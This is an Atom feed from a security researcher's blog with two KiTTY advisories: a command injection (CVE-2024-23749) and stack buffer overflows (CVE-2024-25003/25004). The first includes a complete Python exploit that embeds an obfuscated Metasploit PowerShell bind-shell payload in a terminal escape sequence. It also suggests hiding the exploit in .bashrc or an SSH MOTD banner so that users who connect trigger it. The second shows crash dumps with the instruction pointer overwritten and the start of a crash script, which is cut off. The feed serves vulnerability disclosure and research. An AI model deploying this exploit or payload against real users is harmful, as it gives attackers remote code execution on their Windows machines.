<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.defcesco.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.defcesco.io/" rel="alternate" type="text/html" /><updated>2026-04-13T12:09:54+00:00</updated><id>https://blog.defcesco.io/feed.xml</id><title type="html">BRIDGEBLOG</title><subtitle>Austin A. DeFrancesco&apos;s cybersecurity blog covering detection engineering, vulnerability research, and threat intelligence. Bridging nerdy stuff to pursue pleasant elegance.</subtitle><author><name>Austin A. DeFrancesco</name><email>austin[@]defcesco[.]io</email></author><entry><title type="html">Command Injection Vulnerability in KiTTY Get Remote File Through SCP Input (CVE-2024-23749)</title><link href="https://blog.defcesco.io/CVE-2024-23749" rel="alternate" type="text/html" title="Command Injection Vulnerability in KiTTY Get Remote File Through SCP Input (CVE-2024-23749)" /><published>2024-02-07T00:00:00+00:00</published><updated>2024-02-07T00:00:00+00:00</updated><id>https://blog.defcesco.io/CVE-2024-23749</id><content type="html" xml:base="https://blog.defcesco.io/CVE-2024-23749"><![CDATA[<h2 id="contents">Contents:</h2>

<ol>
  <li><a href="#summary">Summary</a></li>
  <li><a href="#recon">Analysis</a></li>
  <li><a href="#exploitation">Exploitation</a></li>
  <li><a href="#acknowledgments">Acknowledgments</a></li>
  <li><a href="#timeline">Timeline</a></li>
  <li><a href="#additional">Additional Advisory</a></li>
</ol>

<h2 id="summary-">Summary: <a name="summary"></a></h2>

<p>Austin A. DeFrancesco (DEFCESCO) discovered a command injection vulnerability in KiTTY (<a href="https://github.com/cyd01/KiTTY/blob/75fa2abcd220c17249ff7252f8d5224137001f2d/kitty.c#L2597-L2602">https://github.com/cyd01/KiTTY/</a>). This vulnerability:</p>

<ul>
  <li>Is exploitable by any KiTTY user connecting to a host with the embedded exploit;</li>
  <li>The vulnerability was introduced in the original release in May 2021 (commit 4f79b1e) and affects all versions up to KiTTY ≤ 0.76.1.13 in their default configuration.</li>
</ul>

<p>Austin developed an exploit for this vulnerability and obtained remote code execution in the context of the user running the application; by default, KiTTY can be operated in the user permission group of Standard Users. This exploit is stable and repeatable on all Microsoft Windows operating systems 11/10/8/7/XP.</p>

<h2 id="analysis-">Analysis: <a name="analysis"></a></h2>

<p>CVE-2024-23749 command injection vulnerability is in <code class="language-plaintext highlighter-rouge">kitty.c</code> precisely the <code class="language-plaintext highlighter-rouge">GetOneFile</code> function. The vulnerable lines of code are on lines <code class="language-plaintext highlighter-rouge">2369-2386</code>; in the latest revision <code class="language-plaintext highlighter-rouge">75fa2abcd220c172</code> (https://github.com/cyd01/KiTTY/blob/75fa2abcd220c17249ff7252f8d5224137001f2d/kitty.c#L2369C4-L2391C2).</p>

<p>If KiTTY encounters the ANSI escape sequence <code class="language-plaintext highlighter-rouge">\033]0;__rv</code> in a stream, it interprets it as an instruction to transfer files using Putty Secure Copy Protocol (PSCP):</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">\033</code>: This is the escape character (octal representation of ASCII ESC), which signals the beginning of an escape sequence.</li>
  <li><code class="language-plaintext highlighter-rouge">]0;</code>: This sequence part indicates a metacommand will be defined.</li>
  <li><code class="language-plaintext highlighter-rouge">__rv</code>: This is the vulnerable KiTTY command to transfer files using PSCP, which takes the input of a filename or file path.</li>
  <li><code class="language-plaintext highlighter-rouge">\077</code>: This is the terminator sequence to indicate the end of the escape sequence.</li>
  <li>KiTTY’s <code class="language-plaintext highlighter-rouge">kitty.c</code> <code class="language-plaintext highlighter-rouge">__rv</code> command runs through specific handling based on the input parameters and configurations.</li>
</ul>

<p>After the series of specific handling requests for other input parameters and configurations (at lines 2277-2368), KiTTY checks if the <code class="language-plaintext highlighter-rouge">filename</code> is larger than zero and checks if the <code class="language-plaintext highlighter-rouge">filename</code> is a directory or a single filename (at lines 2372). After these parameter and configuration checks, the filename is concatenated to the <code class="language-plaintext highlighter-rouge">buffer</code> (at line 2377). Finally, the constructed buffer is executed using the <code class="language-plaintext highlighter-rouge">system( buffer )</code> (at line 2386).</p>

<p>CVE-2024-24749, where the <code class="language-plaintext highlighter-rouge">filename</code> variable is vulnerable to command injection, occurs due to insufficient input sanitization and validation, failure to escape special characters, and insecure system calls (at lines 2369-2390). This allows an attacker to add inputs inside the <code class="language-plaintext highlighter-rouge">filename</code> variable, leading to arbitrary code execution.</p>

<hr />

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">2369</span> <span class="nf">if</span><span class="p">(</span> <span class="n">filename</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="sc">'/'</span> <span class="p">)</span> <span class="p">{</span>
<span class="mi">2370</span>        <span class="n">strcat</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">filename</span> <span class="p">)</span> <span class="p">;</span>
<span class="mi">2371</span>    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="mi">2372</span>        <span class="k">if</span><span class="p">(</span> <span class="p">(</span><span class="n">directory</span><span class="o">!=</span><span class="nb">NULL</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="mi">2373</span>            <span class="n">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">directory</span> <span class="p">)</span> <span class="p">;</span> <span class="n">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="s">"/"</span> <span class="p">)</span> <span class="p">;</span> <span class="n">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">filename</span> <span class="p">)</span> <span class="p">;</span>
<span class="mi">2374</span>        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span> <span class="p">(</span><span class="n">directory</span><span class="o">!=</span><span class="nb">NULL</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
<span class="mi">2375</span>            <span class="n">strcat</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">directory</span> <span class="p">)</span> <span class="p">;</span> <span class="n">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="s">"/*"</span><span class="p">)</span> <span class="p">;</span> 
<span class="mi">2376</span>        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> 
<span class="mi">2377</span>            <span class="n">strcat</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">filename</span> <span class="p">)</span> <span class="p">;</span> 
<span class="mi">2378</span>        <span class="p">}</span>
<span class="mi">2379</span>    <span class="p">}</span>
<span class="mi">2380</span>    <span class="nf">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="s">"</span><span class="se">\"</span><span class="s"> </span><span class="se">\"</span><span class="s">"</span> <span class="p">)</span> <span class="p">;</span> <span class="n">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">dir</span> <span class="p">)</span> <span class="p">;</span> <span class="n">strcat</span><span class="p">(</span> <span class="n">buffer</span><span class="p">,</span> <span class="s">"</span><span class="se">\"</span><span class="s">"</span> <span class="p">)</span> <span class="p">;</span>
<span class="mi">2381</span>    <span class="c1">//strcat( buffer, " &gt; kitty.log 2&gt;&amp;1" ) ; //if( !system( buffer ) ) unlink( "kitty.log" ) ;</span>
<span class="mi">2382</span>
<span class="mi">2383</span>    <span class="nf">chdir</span><span class="p">(</span> <span class="n">InitialDirectory</span> <span class="p">)</span> <span class="p">;</span>
<span class="mi">2384</span>
<span class="mi">2385</span>    <span class="nf">if</span><span class="p">(</span> <span class="n">debug_flag</span> <span class="p">)</span> <span class="p">{</span> <span class="n">debug_logevent</span><span class="p">(</span> <span class="s">"Get on file: %s"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">)</span> <span class="p">;</span> <span class="p">}</span>
<span class="mi">2386</span>    <span class="nf">if</span><span class="p">(</span> <span class="n">system</span><span class="p">(</span> <span class="n">buffer</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">MessageBox</span><span class="p">(</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="s">"Transfer problem"</span><span class="p">,</span> <span class="n">MB_OK</span><span class="o">|</span><span class="n">MB_ICONERROR</span>  <span class="p">)</span> <span class="p">;</span> <span class="p">}</span>
<span class="mi">2387</span>
<span class="mi">2388</span>    <span class="c1">//debug_log("%s\n",buffer);//MessageBox( NULL, buffer, "Info",MB_OK );</span>
<span class="mi">2389</span>
<span class="mi">2390</span>    <span class="nf">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">));</span>
<span class="mi">2391</span> <span class="err">}</span>
</code></pre></div></div>

<hr />

<h2 id="exploitation-">Exploitation: <a name="exploitation"></a></h2>

<h3 id="__rv-command-injection">__rv Command Injection:</h3>

<p>From an attacker’s point of view, the exploit CVE-2024-23749 can be inserted into the <code class="language-plaintext highlighter-rouge">.bashrc</code> file for all users or in the SSH warning/message of the day (MOTD) banner. The exploit will trigger once the user logs in or is presented with the SSH warning/MOTD banner.</p>

<p>KiTTY’s <code class="language-plaintext highlighter-rouge">__rv</code> function crashed (at line 2601) because adjacent memory was overwritten.</p>

<p>To reproduce the exploit, follow these steps:</p>

<ol>
  <li>Start KiTTY and start an SSH session.</li>
  <li>Update the payload handler and payload documented in the exploit’s comments.</li>
  <li>Save the exploit on the connected SSH session.</li>
  <li>Execute the exploit using Python: <code class="language-plaintext highlighter-rouge">python3 CVE-2024-23749.py</code>.</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="c1">#----------------------------------------------------------------------------------------#
# Exploit: KiTTY ≤ 0.76.1.13 Command Injection Vulnerability in KiTTY                    #
#        Get Remote File Through SCP Input (CVE-2024-23749)                              #
# OS: Microsoft Windows 11/10/8/7/XP                                                     #
# Author: DEFCESCO (Austin A. DeFrancesco)                                               #
# Software:                                                                              #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip    #
#----------------------------------------------------------------------------------------#
# More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY             #
#----------------------------------------------------------------------------------------#
# msf6 payload(cmd/windows/powershell_bind_tcp) &gt; to_handler                             #
# [*] Payload Handler Started as Job 1                                                   #
# msf6 payload(cmd/windows/powershell_bind_tcp) &gt;                                        #
# [*] Started bind TCP handler against 192.168.100.28:4444                               #
# [*] Powershell session session 1 opened (192.168.100.119:36969 -&gt; 192.168.100.28:4444) #
#----------------------------------------------------------------------------------------#
</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="c1">#-----------------------------------------------------------------#
# msf6 payload(cmd/windows/powershell_bind_tcp) &gt; generate -f raw #
#-----------------------------------------------------------------#
</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'powershell.exe -nop -w hidden -noni -ep bypass "&amp;([scriptblock]::create'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'((New-Object System.IO.StreamReader(New-Object System.IO.Compression.G'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'zipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBa'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'se64String(((</span><span class="se">\'</span><span class="s">H4sIAE7efGUCA5VVTW/b{2}BC{1}+1cMD{2}1GQiTCDXoKkGJdNV0Ey'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'LZGlTYHw0BoahxrQ5NekoptJP7vJSXqw3</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">GCbXWwJc7w8fHNG3JRCmYKKeBvNMktzh'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'kvUBgYPA3APsGG</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">wQV8wU3ydf4vMgPJzW6NX+gK7aAhNj+t8ptk8l3jJ1zQkptUYW4'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'jBeXa</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">QgRGld</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">hmTZTc7siLDDveG2lyB/vBoqG4lhtU{1}suygyo+oYquwvp{1'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'}mhlViPtZkMrVioo8PhzNNGdSvBj8JDeCS5pXo5HHVJKh1u</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">AFWMm85{2}gI/hVGUK'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'cUCwibZSDB/2A4L0Q+jKpgPa+aywttUKCy</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">k6fZzr6viFMtk+wBjSY3bH3tM2bv7XM'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'8kWhDlXHr</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">+pWrqC/RRS{1}vzBiujQWsyxHWVPZv0VX4iErjMeMWulfy15inE7/QcB'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'g76n6{1}Qa2ZNgrpyhGs8Yj1VlaNWWIdpbokNSNnj6GvQI+P1jxrwN6ghKxUhdmRrEkN/f'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'pxsLA+wjh8Cm4s+h4SqmF6M{2}cbrqTBFJUpFgWjBn{1}QXuTUmS2lnM8pe5hF0St0yLg0'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'S+dUN2ms{2}zECUXIeDw3X786GnkEfoFWm21lfuul8Z3A6mwXu35luRMjZyD7PfzyN{</span><span class="se">\'</span><span class="s">+'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\'</span><span class="s">1}l5dFHkTDqcGt4agYDJ3jj4/H2fp1VXkFP/ocsLhrbWm3GiYu{2}bJlsg5qFIImw</span><span class="se">\'</span><span class="s">+'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\'</span><span class="s">1Wj1Jbew7hFAIUj+fuS7jmPrVjtjRtgMnVujRd8E6kcr</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">1Txf3SQJhG8E/BlNRyY'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'SCVai1VJSGBsVvMJWlQaLEfMSd34k5443k5yK0tBobdxuJR3H2Qax</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">T3Ztk3Tt{2}2'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'fesc{2}ef3VJqezuDaQjpZfMuTlufvc21mfZbqkrKl5VyDQiHaI6XL6mi7Jzw4iSPS7LY+'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'tBqk6PlKPMoHTC63a6uttnq3KPu+pTbLgmMYBkXlunoT35DmYe2xGEYxBAfsI0gEwuhI0k'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'unH+Y3Vsu3LgXfmC6FVBpfes07FNte1FHpofnzodpd</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">IyoERfSimrYbXTGP{1}g1Jc'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'7</span><span class="se">\'</span><span class="s">+</span><span class="se">\'</span><span class="s">jV4Gcf/nwHz/C1NEmNCt48B1BnUAnSAJ/CySSDE/tf6X8tWeXhiEyoWbroBzjpQL'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'a{2}SIBKSTUdzQ4W67Gu4oRxpCqMXmNw0f+wrbYdHBv4l/zbwfyvY/uGPfJrM+czL/Wyve'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'/8weMP85RLjX4/VTs2t1DfMN3VlBm5bu4j/2ud2V7lbe3cFfoTVXnPBo0IAAA{0}</span><span class="se">\'</span><span class="s">)-f'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\'</span><span class="s">=</span><span class="se">\'</span><span class="s">,</span><span class="se">\'</span><span class="s">9</span><span class="se">\'</span><span class="s">,</span><span class="se">\'</span><span class="s">O</span><span class="se">\'</span><span class="s">)))),[System.IO.Compression.CompressionMode]::Decompr'</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'ess))).ReadToEnd()))</span><span class="se">\"</span><span class="s">'</span>

<span class="n">escape_sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\033</span><span class="s">]0;__rv:'</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'" &amp; '</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="n">shellcode</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">' #</span><span class="se">\007</span><span class="s">'</span> 

<span class="n">stdout</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">fdopen</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="s">'wb'</span><span class="p">)</span> 
<span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">escape_sequence</span><span class="p">)</span>
<span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="acknowledgments-">Acknowledgments: <a name="acknowledgments"></a></h2>

<p>Austin thanks the MITRE CVE Assignment Team for their assistance with the CVE service requests.</p>

<h2 id="timeline-">Timeline: <a name="timeline"></a></h2>

<p>2024-01-08: This advisory contains one vulnerability and one additional advisory totaling three vulnerabilities sent to KiTTY maintainer Cyril Dupont; no reply from Cyril.</p>

<p>2024-01-28: Follow-up email with assigned CVE numbers and full writeups sent to Cyril Dupont; no reply.</p>

<p>2024-02-07: Public Advisory &amp; Exploits Release Date (6:00 PM UCT).</p>

<h2 id="additional-advisory-">Additional Advisory: <a name="additional"></a></h2>

<p>Buffer Overflow Vulnerabilities in KiTTY Start Duplicated Session Hostname (CVE-2024-25003) &amp; Username (CVE-2024-25004) Variables: https://blog.defcesco.io/CVE-2024-25003-CVE-2024-25004</p>]]></content><author><name>Austin A. DeFrancesco</name></author><summary type="html"><![CDATA[Contents:]]></summary></entry><entry><title type="html">Buffer Overflow Vulnerabilities in KiTTY Start Duplicated Session Hostname (CVE-2024-25003) &amp;amp; Username (CVE-2024-25004) Variables</title><link href="https://blog.defcesco.io/CVE-2024-25003-CVE-2024-25004" rel="alternate" type="text/html" title="Buffer Overflow Vulnerabilities in KiTTY Start Duplicated Session Hostname (CVE-2024-25003) &amp;amp; Username (CVE-2024-25004) Variables" /><published>2024-02-07T00:00:00+00:00</published><updated>2024-02-07T00:00:00+00:00</updated><id>https://blog.defcesco.io/CVE-2024-25003-CVE-2024-25004</id><content type="html" xml:base="https://blog.defcesco.io/CVE-2024-25003-CVE-2024-25004"><![CDATA[<h2 id="contents">Contents:</h2>

<ol>
  <li><a href="#summary">Summary</a></li>
  <li><a href="#recon">Analysis</a></li>
  <li><a href="#exploitation">Exploitation</a></li>
  <li><a href="#acknowledgments">Acknowledgments</a></li>
  <li><a href="#timeline">Timeline</a></li>
  <li><a href="#additional">Additional Advisory</a></li>
</ol>

<h2 id="summary-">Summary: <a name="summary"></a></h2>

<p>Austin A. DeFrancesco (DEFCESCO) discovered two stack-based buffer overflow vulnerabilities in KiTTY (<a href="https://github.com/cyd01/KiTTY/blob/75fa2abcd220c17249ff7252f8d5224137001f2d/kitty.c#L2597-L2602">https://github.com/cyd01/KiTTY/</a>). These vulnerabilities:</p>

<ul>
  <li>Are exploitable by any KiTTY user connecting to a host with the embedded exploit;</li>
  <li>The vulnerabilities were introduced in the original release in May 2021 (commit 4f79b1e) and affect all versions up to KiTTY ≤ 0.76.1.13 in their default configuration.</li>
</ul>

<p>Austin developed an exploit for these vulnerabilities and obtained remote code execution in the context of the user running the application; by default, KiTTY can be operated in the user permission group of Standard Users. These exploits are stable and repeatable on all Microsoft Windows operating systems 11/10/8/7/XP.</p>

<h2 id="analysis-">Analysis: <a name="analysis"></a></h2>

<p>CVE-2024-25003 and CVE-2024-25004 buffer overflow vulnerabilities are in <code class="language-plaintext highlighter-rouge">kitty.c</code>. The vulnerable lines of code are on lines <code class="language-plaintext highlighter-rouge">2597-2602</code>; in the latest revision <code class="language-plaintext highlighter-rouge">75fa2abcd220c172</code> (https://github.com/cyd01/KiTTY/blob/75fa2abcd220c17249ff7252f8d5224137001f2d/kitty.c#L2597-L2602).</p>

<p>If KiTTY encounters the ANSI escape sequence <code class="language-plaintext highlighter-rouge">\033]0;__dt</code> in a stream, it interprets it as an instruction to create a duplicate terminal session:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">\033</code>: This is the escape character (octal representation of ASCII ESC), which signals the beginning of an escape sequence.</li>
  <li><code class="language-plaintext highlighter-rouge">]0;</code>: This sequence part indicates a metacommand will be defined.</li>
  <li><code class="language-plaintext highlighter-rouge">__dt</code>: This is the vulnerable KiTTY command to duplicate the terminal, which takes inputs of hostname and username.</li>
  <li><code class="language-plaintext highlighter-rouge">\077</code>: This is the terminator sequence to indicate the end of the escape sequence.</li>
  <li>KiTTY’s <code class="language-plaintext highlighter-rouge">kitty.c</code> <code class="language-plaintext highlighter-rouge">__dt</code> command checks if the first three characters of the string <code class="language-plaintext highlighter-rouge">cmd</code> are <code class="language-plaintext highlighter-rouge">d</code>, <code class="language-plaintext highlighter-rouge">t</code>, and <code class="language-plaintext highlighter-rouge">:</code>, respectively.</li>
</ul>

<p>If the condition is true (at line 2596), an array <code class="language-plaintext highlighter-rouge">host</code> and <code class="language-plaintext highlighter-rouge">user</code> will be declared with a size of 1024 and 256 (at line 2597), respectively, and initialized with an empty string.</p>

<p>CVE-2024-25003, where the hostname is vulnerable to a stack-based buffer overflow, occurs due to insufficient bounds checking and input sanitization (at line 2600). This allows an attacker to overwrite adjacent memory, which leads to arbitrary code execution.</p>

<p>CVE-2024-25004, where the username is vulnerable to a stack-based buffer overflow, occurs due to insufficient bounds checking and input sanitization (at line 2600). This allows an attacker to overwrite adjacent memory, which leads to arbitrary code execution.</p>

<p>Because <code class="language-plaintext highlighter-rouge">RemotePath</code> is created from a size calculated at runtime, <code class="language-plaintext highlighter-rouge">RemotePath</code> is not vulnerable to an overflow. It should be noted that <code class="language-plaintext highlighter-rouge">RemotePath</code> may be a <code class="language-plaintext highlighter-rouge">NULL</code> pointer if the allocation fails.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">strcpy(host, cmd + 3);</code> copies the substring of <code class="language-plaintext highlighter-rouge">cmd</code> starting from the 4th character (index 3) into the <code class="language-plaintext highlighter-rouge">host</code> array (at line 2601).</li>
  <li><code class="language-plaintext highlighter-rouge">i = poss(":", host);</code> assumes there’s a function <code class="language-plaintext highlighter-rouge">poss</code> that finds the position of the <code class="language-plaintext highlighter-rouge">:</code> character in the <code class="language-plaintext highlighter-rouge">host</code> string and assigns it to the variable <code class="language-plaintext highlighter-rouge">i</code> (at line 2601).</li>
  <li><code class="language-plaintext highlighter-rouge">strcpy(user, host + i);</code> copies the substring of <code class="language-plaintext highlighter-rouge">host</code> starting from the position after <code class="language-plaintext highlighter-rouge">:</code> into the <code class="language-plaintext highlighter-rouge">user</code> array (at line 2602).</li>
</ol>

<hr />

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">2596</span> <span class="nf">if</span><span class="p">(</span> <span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="sc">'d'</span><span class="p">)</span><span class="o">&amp;&amp;</span><span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">==</span><span class="sc">'t'</span><span class="p">)</span><span class="o">&amp;&amp;</span><span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">==</span><span class="sc">':'</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="c1">// __dt: start a duplicated session in same directory, same host and same user : dt() { printf "\033]0;__dt:"$(hostname)":"${USER}":"`pwd`"\007" ; }</span>
<span class="mi">2597</span>       <span class="kt">char</span> <span class="n">host</span><span class="p">[</span><span class="mi">1024</span><span class="p">]</span><span class="o">=</span><span class="s">""</span><span class="p">;</span><span class="kt">char</span> <span class="n">user</span><span class="p">[</span><span class="mi">256</span><span class="p">]</span><span class="o">=</span><span class="s">""</span><span class="p">;</span>
<span class="mi">2598</span>       <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="mi">2599</span>       <span class="k">if</span><span class="p">(</span> <span class="n">RemotePath</span><span class="o">!=</span> <span class="nb">NULL</span> <span class="p">)</span> <span class="n">free</span><span class="p">(</span> <span class="n">RemotePath</span> <span class="p">)</span> <span class="p">;</span>
<span class="mi">2600</span>       <span class="n">RemotePath</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span> <span class="n">malloc</span><span class="p">(</span> <span class="n">strlen</span><span class="p">(</span> <span class="n">cmd</span> <span class="p">)</span> <span class="o">-</span> <span class="mi">2</span> <span class="p">)</span> <span class="p">;</span>
<span class="mi">2601</span>       <span class="n">strcpy</span><span class="p">(</span><span class="n">host</span><span class="p">,</span><span class="n">cmd</span><span class="o">+</span><span class="mi">3</span><span class="p">);</span><span class="n">i</span><span class="o">=</span><span class="n">poss</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span><span class="n">host</span><span class="p">);</span>
<span class="mi">2602</span>       <span class="n">strcpy</span><span class="p">(</span><span class="n">user</span><span class="p">,</span><span class="n">host</span><span class="o">+</span><span class="n">i</span><span class="p">);</span>
</code></pre></div></div>

<hr />

<h2 id="exploitation-">Exploitation: <a name="exploitation"></a></h2>

<h3 id="__dt-hostname--username-buffer-overflows">__dt Hostname &amp; Username Buffer Overflows:</h3>

<p>From an attacker’s point of view, the exploits for CVE-2024-25003 and CVE-2024-25004 can be inserted into the <code class="language-plaintext highlighter-rouge">.bashrc</code> file for all users or in the SSH warning/message of the day (MOTD) banner. The exploit(s) will trigger once the user logs in or is presented with the SSH warning/MOTD banner.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HOSTNAME CRASH:
(47c.23ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=41414141 ecx=861615a9 edx=01130000 esi=41414141 edi=41414141
eip=41414141 esp=0084e790 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
41414141 ??              ???
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>USERNAME CRASH:
(af8.ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=41414141 ecx=02f92491 edx=01120000 esi=41414141 edi=41414141
eip=41414141 esp=0084e790 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
41414141 ??              ???
</code></pre></div></div>

<p>KiTTY’s <code class="language-plaintext highlighter-rouge">__dt</code> function crashed (at line 2601) because adjacent memory was overwritten.</p>

<p>To reproduce the vulnerability, follow these steps:</p>

<ol>
  <li>Start KiTTY and start an SSH session.</li>
  <li>Save the proof of concept (PoC) on the connected SSH session.</li>
  <li>Execute the PoC(s) using Python: <code class="language-plaintext highlighter-rouge">python3 developer_CVE-2024-25003.py</code> or <code class="language-plaintext highlighter-rouge">python3 developer_CVE-2024-25004</code>.</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="c1">#-------------------------------------------------------------------------------------#
# Crash: KiTTY ≤ 0.76.1.13 Buffer Overflow Vulnerability in KiTTY Start               #
#        Duplicated Session Hostname Variable (CVE-2024-25003)                        #
# OS: Microsoft Windows 11/10/8/7/XP                                                  #
# Author: DEFCESCO (Austin A. DeFrancesco)                                            #
# Software:                                                                           #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #
#-------------------------------------------------------------------------------------#
</span>
<span class="kn">import</span> <span class="nn">sys</span>
